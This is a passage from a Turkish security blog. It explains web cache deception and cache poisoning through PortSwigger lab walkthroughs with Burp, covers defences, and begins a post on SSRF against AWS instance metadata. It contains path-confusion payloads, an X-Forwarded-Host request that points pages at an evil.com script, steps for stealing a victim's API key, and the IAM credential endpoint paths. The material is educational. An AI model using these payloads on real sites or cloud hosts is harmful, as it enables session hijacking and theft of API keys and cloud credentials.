&lt;p&gt;Origin yanıtı &lt;code&gt;Cache-Control&lt;/code&gt; başlığı koymadan döndürürse, cache bu &lt;strong&gt;özel&lt;/strong&gt; yanıtı &lt;code&gt;/account/profile.css&lt;/code&gt; anahtarı altında saklar. Bu anahtar herkese açıktır.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/web-cache-deception-flow.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Saldırı akışı&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;1. Saldırgan kurbana şu linki gönderir:
   https://target.com/account/profile.css

2. Kurban (giriş yapmış) linke tıklar.
   → Origin kurbanın profilini render eder
   → CDN &amp;quot;.css&amp;quot; gördüğü için yanıtı CACHE&#39;LER

3. Saldırgan AYNI URL&#39;yi ister (oturumsuz):
   GET /account/profile.css
   → CDN cache&#39;ten HIT döner
   → Saldırgan kurbanın adını, e-postasını, API token&#39;ını okur
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Kritik nokta: 3. adımda saldırganın kurbanın çerezine ihtiyacı &lt;strong&gt;yoktur&lt;/strong&gt;. Veri zaten paylaşılan cache&#39;e düşmüştür.&lt;/p&gt;
&lt;h4&gt;Uzantı engellenmişse: path confusion&lt;/h4&gt;
&lt;p&gt;Origin bazen &lt;code&gt;.css&lt;/code&gt; son ekini route&#39;a bağlamaz (404 verir). O zaman saldırgan &lt;strong&gt;path confusion&lt;/strong&gt; varyantlarına geçer. Amaç: cache&#39;in &amp;quot;statik uzantı&amp;quot; gördüğü ama origin&#39;in son eki yok saydığı bir URL kurmak.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Teknik&lt;/th&gt;
&lt;th&gt;Payload&lt;/th&gt;
&lt;th&gt;Origin&#39;in yorumu&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Path parameter&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/account/profile;x.css&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;;&lt;/code&gt; ayraçtır → &lt;code&gt;/account/profile&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Encoded newline&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/account/profile%0Ax.css&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;%0A&lt;/code&gt;&#39;da durur → &lt;code&gt;/account/profile&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Encoded slash&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/account/profile%2Fx.css&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;cache farklı decode eder&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sahte segment&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/account/profile/x.css&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;route fazla segmenti yok sayar&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Encoded &lt;code&gt;?&lt;/code&gt; / &lt;code&gt;#&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/account/profile%23x.css&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;origin parça/sorgu sanır&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;2024&#39;te &lt;strong&gt;Martin Doyhenard&lt;/strong&gt;&#39;ın PortSwigger araştırması (&amp;quot;Gotta Cache &#39;em all&amp;quot;) bu varyantları sistematik hale getirdi: cache ile origin&#39;in &lt;code&gt;;&lt;/code&gt;, &lt;code&gt;%2F&lt;/code&gt;, &lt;code&gt;%00&lt;/code&gt;, &lt;code&gt;&#92;&lt;/code&gt; gibi &lt;strong&gt;ayraçları (delimiter)&lt;/strong&gt; farklı işlemesi, neredeyse her CDN+framework kombinasyonunda bir tutarsızlık bırakıyor.&lt;/p&gt;
&lt;h4&gt;Gerçek dünya: ChatGPT ve diğerleri&lt;/h4&gt;
&lt;p&gt;2024&#39;te araştırmacılar ChatGPT&#39;de bir WCD varyantı raporladı: belirli bir path-confusion payload&#39;ı ile kullanıcıya ait hassas bir yanıtın cache&#39;lenebildiği gösterildi. Aynı yıl birçok SaaS platformunda benzer bulgular çıktı. Omer Gil&#39;in 2017&#39;deki PayPal demosundan beri kalıp değişmedi — değişen tek şey, CDN&#39;lerin yaygınlaşmasıyla saldırı yüzeyinin büyümesi.&lt;/p&gt;
&lt;h3&gt;Bölüm 2 — Web Cache Poisoning&lt;/h3&gt;
&lt;p&gt;Madalyonun diğer yüzü. WCD veri &lt;em&gt;okur&lt;/em&gt;; poisoning veri &lt;em&gt;yazar&lt;/em&gt;. &lt;strong&gt;James Kettle&lt;/strong&gt;&#39;ın 2018&#39;deki &amp;quot;Practical Web Cache Poisoning&amp;quot; araştırması bu sınıfı tanımladı.&lt;/p&gt;
&lt;h4&gt;Keyed vs Unkeyed girdiler&lt;/h4&gt;
&lt;p&gt;Cache, iki isteğin &amp;quot;aynı&amp;quot; olup olmadığına &lt;strong&gt;cache key&lt;/strong&gt; ile karar verir. Anahtar genelde şunlardan oluşur:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Keyed (anahtarın parçası):&lt;/strong&gt; Host header + URL path (+ bazen query string)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unkeyed (anahtara dahil değil):&lt;/strong&gt; Diğer her şey — &lt;code&gt;User-Agent&lt;/code&gt;, &lt;code&gt;X-Forwarded-Host&lt;/code&gt;, &lt;code&gt;X-Forwarded-Scheme&lt;/code&gt;, &lt;code&gt;Cookie&lt;/code&gt; (çoğu zaman) vb.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Sorun şu: Bir girdi &lt;strong&gt;unkeyed&lt;/strong&gt; ise cache onu görmezden gelir — ama &lt;strong&gt;uygulama&lt;/strong&gt; onu kullanıp yanıta yansıtabilir. O zaman:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Aynı keyed kısma (&lt;code&gt;Host + /&lt;/code&gt;) sahip iki istek, farklı unkeyed header&#39;lara rağmen &lt;strong&gt;tek bir cache girdisine&lt;/strong&gt; çöker. Saldırgan bu girdinin gövdesini kontrol edebilir.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/web-cache-poisoning-flow.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Klasik örnek: X-Forwarded-Host yansıması&lt;/h4&gt;
&lt;p&gt;Birçok uygulama mutlak URL üretirken &lt;code&gt;X-Forwarded-Host&lt;/code&gt; header&#39;ına güvenir:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;!-- Sunucu yanıtı, X-Forwarded-Host&#39;tan üretiliyor --&amp;gt;
&amp;lt;script src=&amp;quot;//{{ x_forwarded_host }}/static/app.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Saldırı:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Yanıt şu olur:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;script src=&amp;quot;//evil.com/static/app.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bu header &lt;strong&gt;unkeyed&lt;/strong&gt; olduğundan cache, yanıtı &lt;code&gt;target.com/&lt;/code&gt; anahtarıyla saklar. Bundan sonra &lt;code&gt;/&lt;/code&gt; adresine giren &lt;strong&gt;her ziyaretçi&lt;/strong&gt; &lt;code&gt;evil.com/static/app.js&lt;/code&gt;&#39;i çalıştırır → kitlesel stored-XSS.&lt;/p&gt;
&lt;h4&gt;Poisoning&#39;i tetikleyen yaygın vektörler&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;X-Forwarded-Host&lt;/code&gt;, &lt;code&gt;X-Host&lt;/code&gt;, &lt;code&gt;X-Forwarded-Scheme&lt;/code&gt; → mutlak URL / yönlendirme manipülasyonu&lt;/li&gt;
&lt;li&gt;Unkeyed query parametreleri (&lt;code&gt;utm_*&lt;/code&gt;, &lt;code&gt;?cb=&lt;/code&gt;) → reflected XSS gadget&#39;ı cache&#39;leme&lt;/li&gt;
&lt;li&gt;&lt;code&gt;X-Forwarded-Scheme: http&lt;/code&gt; → sonsuz yönlendirme döngüsü ya da downgrade&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cache key normalization&lt;/strong&gt; farkları: cache &lt;code&gt;/&lt;/code&gt;&#39;i &lt;code&gt;/index.html&lt;/code&gt;&#39;e normalize ederken origin etmiyorsa&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fat GET / parameter cloaking:&lt;/strong&gt; body veya çift parametre ile cache ve origin&#39;i ayrıştırmak&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;DoS varyantı: Cache Poisoned Denial of Service (CPDoS)&lt;/h4&gt;
&lt;p&gt;Poisoning her zaman XSS olmak zorunda değil. Saldırgan, origin&#39;in &lt;strong&gt;hata&lt;/strong&gt; döndürmesine yol açan bir header (örn. aşırı uzun &lt;code&gt;X-Oversized-Header&lt;/code&gt; ya da hatalı &lt;code&gt;X-HTTP-Method-Override&lt;/code&gt;) gönderip cache&#39;in bu &lt;strong&gt;400/404/500&lt;/strong&gt; yanıtını saklamasını sağlayabilir. Sonuç: meşru kullanıcılar cache&#39;ten hata sayfası alır — sayfa tamamen erişilemez hale gelir.&lt;/p&gt;
&lt;h3&gt;Tespit (Test Metodolojisi)&lt;/h3&gt;
&lt;p&gt;Her iki sınıfı da test ederken cache başlıklarını okumak şarttır:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;X-Cache: HIT | MISS        → yanıt cache&#39;ten mi geldi?
Age: 42                    → cache girdisinin yaşı (HIT göstergesi)
Cache-Control: ...         → origin ne demek istemiş?
CF-Cache-Status: HIT       → Cloudflare&#39;a özgü
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;WCD testi:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1. Giriş yapmış oturumla iste:  /account/profile.css
2. Yanıtta özel veri var mı + X-Cache: MISS / sonra HIT?
3. Oturumsuz (incognito) AYNI URL&#39;yi iste
4. Aynı özel veri geliyorsa → DECEPTION doğrulandı
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Poisoning testi:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1. GET / + X-Forwarded-Host: canary.attacker.com
2. Yanıtta &amp;quot;canary.attacker.com&amp;quot; yansıyor mu?
3. Aynı URL&#39;yi header&#39;sız iste → canary hâlâ var mı (HIT)?
4. Varsa → POISONING doğrulandı (önce zararsız canary ile kanıtla)
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Etik uyarı:&lt;/strong&gt; Poisoning testleri paylaşılan bir cache&#39;i kirletir ve gerçek kullanıcıları etkileyebilir. Yalnızca yetkili olduğun kapsamda, izole bir cache-buster query (&lt;code&gt;?cb=rastgele&lt;/code&gt;) ile test et ki canlı girdileri bozmayasın.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Uygulamalı Lab: Burp Suite ile Adım Adım&lt;/h3&gt;
&lt;p&gt;Teori yeterli — şimdi elimizi kirletelim. Aşağıdaki iki walkthrough&#39;u güvenle tekrar üretebileceğin ortam &lt;strong&gt;PortSwigger Web Security Academy&lt;/strong&gt;&#39;dir (ücretsiz, izinli laboratuvarlar). İkisinde de döngü aynıdır; yalnızca enjeksiyon noktası değişir.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/web-cache-burp-workflow.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Lab A — Web Cache Poisoning (unkeyed header → XSS)&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Hedef:&lt;/strong&gt; Ana sayfayı zehirleyip ziyaret eden kurbanda &lt;code&gt;alert(document.cookie)&lt;/code&gt; çalıştırmak.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Adım 1 — İsteği Repeater&#39;a al.&lt;/strong&gt;&lt;br /&gt;
Proxy geçmişinden ana sayfa isteğini (&lt;code&gt;GET /&lt;/code&gt;) seç, sağ tık → &lt;em&gt;Send to Repeater&lt;/em&gt; (&lt;code&gt;Ctrl+R&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Adım 2 — Canary enjekte et + cache-buster ekle.&lt;/strong&gt;&lt;br /&gt;
Kendi cache&#39;ini zehirlememek için önce benzersiz bir query ekle, sonra şüpheli header&#39;ı dene:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;GET /?cb=tago123 HTTP/1.1
Host: 0aXX.web-security-academy.net
X-Forwarded-Host: c4n4ry.exploit-server.net
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Adım 3 — Yanıtta yansımayı doğrula.&lt;/strong&gt;&lt;br /&gt;
Response gövdesinde &lt;code&gt;c4n4ry.exploit-server.net&lt;/code&gt; arıyoruz. Tipik olarak bir kaynak yüklemesine düşer:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;script src=&amp;quot;//c4n4ry.exploit-server.net/resources/js/tracking.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Yansıma varsa, girdi &lt;strong&gt;unkeyed ama trusted&lt;/strong&gt; demektir → poisoning adayı.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Adım 4 — Cache&#39;lendiğini doğrula.&lt;/strong&gt;&lt;br /&gt;
Aynı isteği 2–3 kez gönder ve başlıklara bak:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;X-Cache: miss   →  ilk istek (origin&#39;den)
X-Cache: hit    →  ikinci istek (cache&#39;ten) ✓
Age: 5          →  girdi 5 saniyedir cache&#39;te
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;hit&lt;/code&gt; görüyorsan yanıt cache&#39;leniyor demektir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Adım 5 — Silahlandır.&lt;/strong&gt;&lt;br /&gt;
Exploit server&#39;da &lt;code&gt;/resources/js/tracking.js&lt;/code&gt; yoluna payload&#39;ı koy:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;alert(document.cookie)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Şimdi cache-buster&#39;ı &lt;strong&gt;kaldır&lt;/strong&gt; (gerçek &lt;code&gt;/&lt;/code&gt; anahtarını hedeflemek için) ve isteği &lt;code&gt;hit&lt;/code&gt; alana kadar gönder:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;GET / HTTP/1.1
Host: 0aXX.web-security-academy.net
X-Forwarded-Host: SENİN-exploit-server.net
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Sonuç:&lt;/strong&gt; Artık &lt;code&gt;/&lt;/code&gt; cache girdisi senin script&#39;ini taşıyor. Ana sayfayı açan &lt;strong&gt;her&lt;/strong&gt; kullanıcı &lt;code&gt;alert(document.cookie)&lt;/code&gt; çalıştırır. Lab &amp;quot;solved&amp;quot; olur.&lt;/p&gt;
&lt;h4&gt;Lab B — Web Cache Deception (kurbanın API key&#39;ini çalmak)&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Hedef:&lt;/strong&gt; Cache&#39;i kandırıp kurbanın &lt;code&gt;/my-account&lt;/code&gt; sayfasını statik sanmasını sağlamak, ardından API key&#39;i oturumsuz okumak.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Adım 1 — Hedefi keşfet.&lt;/strong&gt;&lt;br /&gt;
Giriş yap, &lt;code&gt;GET /my-account&lt;/code&gt; iste. Yanıt API key&#39;i içeriyor ve &lt;code&gt;Cache-Control: no-cache&lt;/code&gt; &lt;strong&gt;yok&lt;/strong&gt; (önemli ipucu).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Adım 2 — Path confusion dene.&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;GET /my-account/wcd.css HTTP/1.1
Host: 0aXX.web-security-academy.net
Cookie: session=&amp;lt;senin-oturumun&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Origin &lt;code&gt;/my-account&lt;/code&gt; route&#39;una eşler, &lt;code&gt;wcd.css&lt;/code&gt; son ekini yok sayar → yanıt yine API key&#39;i içerir. Cache ise &lt;code&gt;.css&lt;/code&gt; görür.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Adım 3 — Cache davranışını doğrula.&lt;/strong&gt;&lt;br /&gt;
İki kez gönder: ilkinde &lt;code&gt;X-Cache: miss&lt;/code&gt;, ikincisinde &lt;code&gt;X-Cache: hit&lt;/code&gt;. Statik gibi cache&#39;leniyor.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Adım 4 — Kurbana teslim et.&lt;/strong&gt;&lt;br /&gt;
Exploit server&#39;ın &lt;em&gt;Deliver exploit to victim&lt;/em&gt; özelliğiyle kurbanı şu URL&#39;ye yönlendir:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://0aXX.web-security-academy.net/my-account/wcd.css
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Kurban (giriş yapmış) bu linke girince, &lt;strong&gt;kurbanın&lt;/strong&gt; API key&#39;ini içeren yanıt aynı anahtar altında cache&#39;lenir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Adım 5 — Oturumsuz oku.&lt;/strong&gt;&lt;br /&gt;
Aynı URL&#39;yi &lt;strong&gt;çerezsiz&lt;/strong&gt; iste (Repeater&#39;da Cookie satırını sil):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;GET /my-account/wcd.css HTTP/1.1
Host: 0aXX.web-security-academy.net
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cache &lt;code&gt;hit&lt;/code&gt; döner ve yanıt &lt;strong&gt;kurbanın&lt;/strong&gt; API key&#39;ini içerir. Çal, lab&#39;a gönder, &amp;quot;solved&amp;quot;.&lt;/p&gt;
&lt;h4&gt;Param Miner ile otomasyon&lt;/h4&gt;
&lt;p&gt;Unkeyed header/parametreleri elle aramak yorucudur. Burp&#39;ün &lt;strong&gt;Param Miner&lt;/strong&gt; eklentisi (BApp Store) bunu otomatikleştirir:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1. Extensions → BApp Store → &amp;quot;Param Miner&amp;quot; install
2. İsteğe sağ tık → &amp;quot;Guess headers&amp;quot;
3. Param Miner binlerce header&#39;ı dener, cache key&#39;i etkilemeden
   yanıtı değiştiren (unkeyed-but-reflected) olanları raporlar
4. &amp;quot;Guess GET parameters&amp;quot; ile cloaking/cache-key parametrelerini bul
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Param Miner ayrıca cache-buster&#39;ı otomatik ekler — canlı cache&#39;i bozmadan tarama yapar.&lt;/p&gt;
&lt;h4&gt;AccessContextFuzzer ile WCD&#39;yi uçtan uca otomatikleştir&lt;/h4&gt;
&lt;p&gt;Param Miner poisoning tarafını (unkeyed header/parametre) tarar. &lt;strong&gt;Deception&lt;/strong&gt; ve erişim-kontrolü tarafını ise bu işe özel olarak geliştirdiğim açık kaynak Burp eklentisiyle otomatikleştiriyorum: &lt;strong&gt;&lt;a href=&quot;https://tagmachan.com/accesscontextfuzzer-burp-suite-extension.tagox&quot;&gt;AccessContextFuzzer&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Bu yazıda Lab B&#39;de &lt;strong&gt;elle&lt;/strong&gt; yaptığımız path-confusion adımlarını (ayraç dene → uzantı ekle → cache davranışını doğrula → payload kur) eklenti dört aşamalı bir pipeline&#39;a döküyor:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Delimiter Discovery&lt;/strong&gt; — Sunucunun tanıdığı yol ayraçlarını (&lt;code&gt;;&lt;/code&gt;, &lt;code&gt;?&lt;/code&gt;, &lt;code&gt;#&lt;/code&gt;, &lt;code&gt;%0A&lt;/code&gt; vb.) otomatik keşfeder.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Extension Testing&lt;/strong&gt; — Keşfedilen ayraçlarla &lt;code&gt;.js&lt;/code&gt;, &lt;code&gt;.css&lt;/code&gt;, &lt;code&gt;.png&lt;/code&gt; gibi statik uzantıları kombinleyerek cache davranışını tetikler.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Normalization Discrepancy&lt;/strong&gt; — Origin ile cache katmanı arasındaki yol normalizasyon farkını tespit eder (yani bu yazının tüm kök nedenini).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exploit Generation&lt;/strong&gt; — Tüm bulguları birleştirip çalışan bir WCD payload&#39;ı sentezler.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Eklenti ayrıca 40+ header spoofing tekniği (&lt;code&gt;X-Forwarded-For&lt;/code&gt;, &lt;code&gt;X-Real-IP&lt;/code&gt;…), her 50 istekte otomatik baseline yenileme, renk kodlu anomali tespiti ve test öncesi gerçek IP&#39;ni doğrulayan bir &lt;strong&gt;OPSEC&lt;/strong&gt; modülü içerir. Etkinliği resmi PortSwigger Web Security Academy laboratuvarlarında (URL rewrite bypass, Host header bypass, WCD) kanıtlanmıştır.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Kısacası: bu yazıdaki manuel Burp akışını üretim hattına çevirmek istersen, başlangıç noktası bu. &lt;strong&gt;&lt;a href=&quot;https://tagmachan.com/accesscontextfuzzer-burp-suite-extension.tagox&quot;&gt;Proje detayları&lt;/a&gt;&lt;/strong&gt; · &lt;strong&gt;&lt;a href=&quot;https://github.com/Tagoletta/AccessContextFuzzer&quot;&gt;GitHub&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Önlem (Savunma)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. Uzantıya göre değil, allow-list&#39;e göre cache&#39;le.&lt;/strong&gt;&lt;br /&gt;
&amp;quot;&lt;code&gt;.css&lt;/code&gt; ise sakla&amp;quot; yerine &amp;quot;yalnızca &lt;code&gt;/assets/*&lt;/code&gt;, &lt;code&gt;/static/*&lt;/code&gt; gibi bilinen statik yollar saklanır&amp;quot; kuralı kullan.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Dinamik yanıtlarda açık &lt;code&gt;Cache-Control&lt;/code&gt; gönder.&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;Cache-Control: no-store, private
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Kullanıcıya özel her yanıt bunu taşımalı. Cache&#39;in &amp;quot;uzantı statik görünüyor&amp;quot; varsayımını kıran tek kesin yöntem budur.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Origin tarafında path normalizasyonunu sıkılaştır.&lt;/strong&gt;&lt;br /&gt;
&lt;code&gt;/account/profile.css&lt;/code&gt; gibi bir istek route&#39;a uymuyorsa &lt;strong&gt;404&lt;/strong&gt; dön; son eki sessizce yok sayma. &lt;code&gt;;&lt;/code&gt;, &lt;code&gt;%2F&lt;/code&gt;, &lt;code&gt;%0A&lt;/code&gt;, &lt;code&gt;%00&lt;/code&gt; ayraçlarını cache ile origin&#39;in &lt;strong&gt;aynı&lt;/strong&gt; yorumladığından emin ol.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. Unkeyed girdileri ya anahtara ekle ya da kenarda temizle.&lt;/strong&gt;&lt;br /&gt;
&lt;code&gt;X-Forwarded-Host&lt;/code&gt; gibi header&#39;ları origin&#39;e ulaşmadan edge&#39;de &lt;strong&gt;strip&lt;/strong&gt; et; gerekiyorsa cache key&#39;e dâhil et.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. Host/&lt;code&gt;X-Forwarded-*&lt;/code&gt; header&#39;larını asla yanıta yansıtma.&lt;/strong&gt;&lt;br /&gt;
Mutlak URL&#39;leri sunucu konfigürasyonundan (&lt;code&gt;SERVER_NAME&lt;/code&gt; / sabit base URL) üret, istek header&#39;ından değil.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6. &lt;code&gt;Vary&lt;/code&gt; başlığını doğru kullan.&lt;/strong&gt;&lt;br /&gt;
Yanıt bir header&#39;a göre değişiyorsa &lt;code&gt;Vary: X-Forwarded-Host&lt;/code&gt; ile cache&#39;e bunu anahtara katmasını söyle.&lt;/p&gt;
&lt;h3&gt;Sonuç&lt;/h3&gt;
&lt;p&gt;Web Cache Deception ve Poisoning, tek bir kök nedenin iki yüzüdür: &lt;strong&gt;cache ile origin aynı HTTP isteğini farklı yorumlar.&lt;/strong&gt; Biri kurbanın özel verisini paylaşılan bir cache&#39;e düşürür; diğeri zararlı bir yanıtı paylaşılan bir cache&#39;e enjekte eder.&lt;/p&gt;
&lt;p&gt;CDN&#39;ler her web uygulamasının önünde dururken, bu tutarsızlıklar devasa bir saldırı yüzeyi yaratıyor. Savunmanın özü tek cümle: &lt;strong&gt;Cache, kullanıcıya özel hiçbir şeyi statik sanmamalı; origin de hiçbir kullanıcı girdisini yanıta körlemesine yansıtmamalı.&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;Teknik:&lt;/strong&gt; Web Cache Deception (2017) + Practical Web Cache Poisoning (2018)&lt;br /&gt;
&lt;strong&gt;Araştırmacılar:&lt;/strong&gt; Omer Gil • James Kettle • Martin Doyhenard&lt;br /&gt;
&lt;strong&gt;Konferans:&lt;/strong&gt; Black Hat USA / DEF CON • PortSwigger Research&lt;br /&gt;
&lt;strong&gt;İlgili:&lt;/strong&gt; Cache Poisoned DoS (CPDoS), Cache Key Confusion&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>SSRF&#39;ten Cloud Kimlik Bilgisi Hırsızlığına: Metadata API Üzerinden AWS IAM Token Çalma</title>
    <link href="https://tagmachan.com/ssrften-cloud-kimlik-bilgisi-hirsizligina-metadata-api-uzerinden-aws-iam-token-calma.tagox"/>
    <updated>2026-05-28T10:00:00Z</updated>
    <id>https://tagmachan.com/ssrften-cloud-kimlik-bilgisi-hirsizligina-metadata-api-uzerinden-aws-iam-token-calma.tagox</id>
    <category term="Security Research"/>
    <summary>Tek bir Server-Side Request Forgery zafiyetinin, bulut örneği metadata servislerini hedefleyerek tam AWS/GCP/Azure hesap ele geçirmesine nasıl tırmandığı — ve 2024&#39;teki %452 SSRF artışının neden önemli olduğu.</summary>
    <content type="html">&lt;h3&gt;Giriş: Bir SSRF, Tüm Altyapıyı Tehdit Eder&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;SSRF (Server-Side Request Forgery)&lt;/strong&gt; — sunucu taraflı istek sahteciliği — uygulamanın saldırganın belirlediği bir URL&#39;ye kendi adına HTTP isteği yapmasıdır. Klasik senaryoda bu, iç ağ taraması veya yetkisiz servislere erişim için kullanılır.&lt;/p&gt;
&lt;p&gt;Bulut ortamlarında (AWS, GCP, Azure) ise bu saldırı çok daha tehlikeli bir boyut kazanır: her VM instance&#39;ının, yalnızca o sunucu üzerinden erişilebilen özel bir metadata servisi vardır. Bu servis, &lt;strong&gt;geçici IAM kimlik bilgilerini&lt;/strong&gt; açıkça sunabilir.&lt;/p&gt;
&lt;p&gt;2024 yılında F5 Labs, SSRF saldırılarında &lt;strong&gt;%452 artış&lt;/strong&gt; raporladı. Nedeni açık: tek bir SSRF açığı, tüm bulut altyapısına giriş kapısı olabilir.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/ssrf-cloud-hero.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;AWS Metadata Servisi (IMDSv1)&lt;/h3&gt;
&lt;p&gt;Amazon EC2 instance&#39;larında &lt;strong&gt;169.254.169.254&lt;/strong&gt; IP adresi, metadata servisine ayrılmıştır. Bu IP link-local&#39;dır — yalnızca EC2 sunucusunun kendisinden erişilebilir. İnternetten doğrudan ulaşılamaz.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ama bir SSRF varsa, sunucu bu isteği kendisi yapar.&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Saldırgan → SSRF payload → Uygulama sunucusu → 169.254.169.254
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Mevcut endpoint&#39;ler:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/latest/meta-data/                          → metadata listesi
/latest/meta-data/hostname                  → sunucu adı
/latest/meta-data/iam/security-credentials/ → IAM rol adları
